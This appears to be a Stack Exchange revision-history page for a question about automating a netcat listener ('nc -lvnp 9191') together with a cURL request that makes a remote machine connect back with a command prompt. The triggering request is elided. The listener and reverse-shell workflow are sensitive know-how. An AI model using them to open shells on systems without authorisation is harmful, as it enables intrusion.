Skip to main content
spelling
Source Link
Matthias Braun
  • 8.8k
  • 8
  • 51
  • 63

Using netcat and curlcURL together in a bashBash script

This question is more related to infosec, but I can't seem to find a workaround in automating the following process:

There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine aton port 9191 which I can then use to execute some commands in a remote machine.

I am trying something like this in my bashBash script:

nc -lvnp 9191&  
curl ......  

The netcatNetcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$

If I remove the nc -lvnp 9191& from the bashBash script and leave just the cURL command in the bashBash script, the following happens:

$ nc -lvnp 9191&  
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )                                                                                                   
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh  
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.  
cmd>  

However, once I clickpress 'enter', the netcat job gets suspended immediately:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.

Using netcat and curl together in a bash script

This question is more related to infosec, but I can't seem to find a workaround in automating the following process:

There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.

I am trying something like this in my bash script:

nc -lvnp 9191&  
curl ......  

The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$

If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:

$ nc -lvnp 9191&  
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )                                                                                                   
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh  
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.  
cmd>  

However, once I click 'enter', the netcat job gets suspended immediately:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.

Using netcat and cURL together in a Bash script

This question is more related to infosec, but I can't seem to find a workaround in automating the following process:

There is a cURL command which triggers a connection to netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine on port 9191 which I can then use to execute some commands in a remote machine.

I am trying something like this in my Bash script:

nc -lvnp 9191&
curl ......

Netcat starts a listener, goes into the background, cURL triggers the connection (I receive the connection back), but netcat immediately closes.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

If I remove the nc -lvnp 9191& from the Bash script and leave just the cURL command in the Bash script, the following happens:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

However, once I press 'enter', the netcat job gets suspended immediately:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this.

Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Source Link
bashbin
  • 451
  • 1
  • 6
  • 12

Using netcat and curl together in a bash script

This question is more related to infosec, but I can't seem to find a workaround in automating the following process:

There is a cURL command which triggers a connection to the netcat. Without automatization, I type in nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.

I am trying something like this in my bash script:

nc -lvnp 9191&  
curl ......  

The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$

If I remove the nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:

$ nc -lvnp 9191&  
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )                                                                                                   
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh  
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.  
cmd>  

However, once I click 'enter', the netcat job gets suspended immediately:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

I have to fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.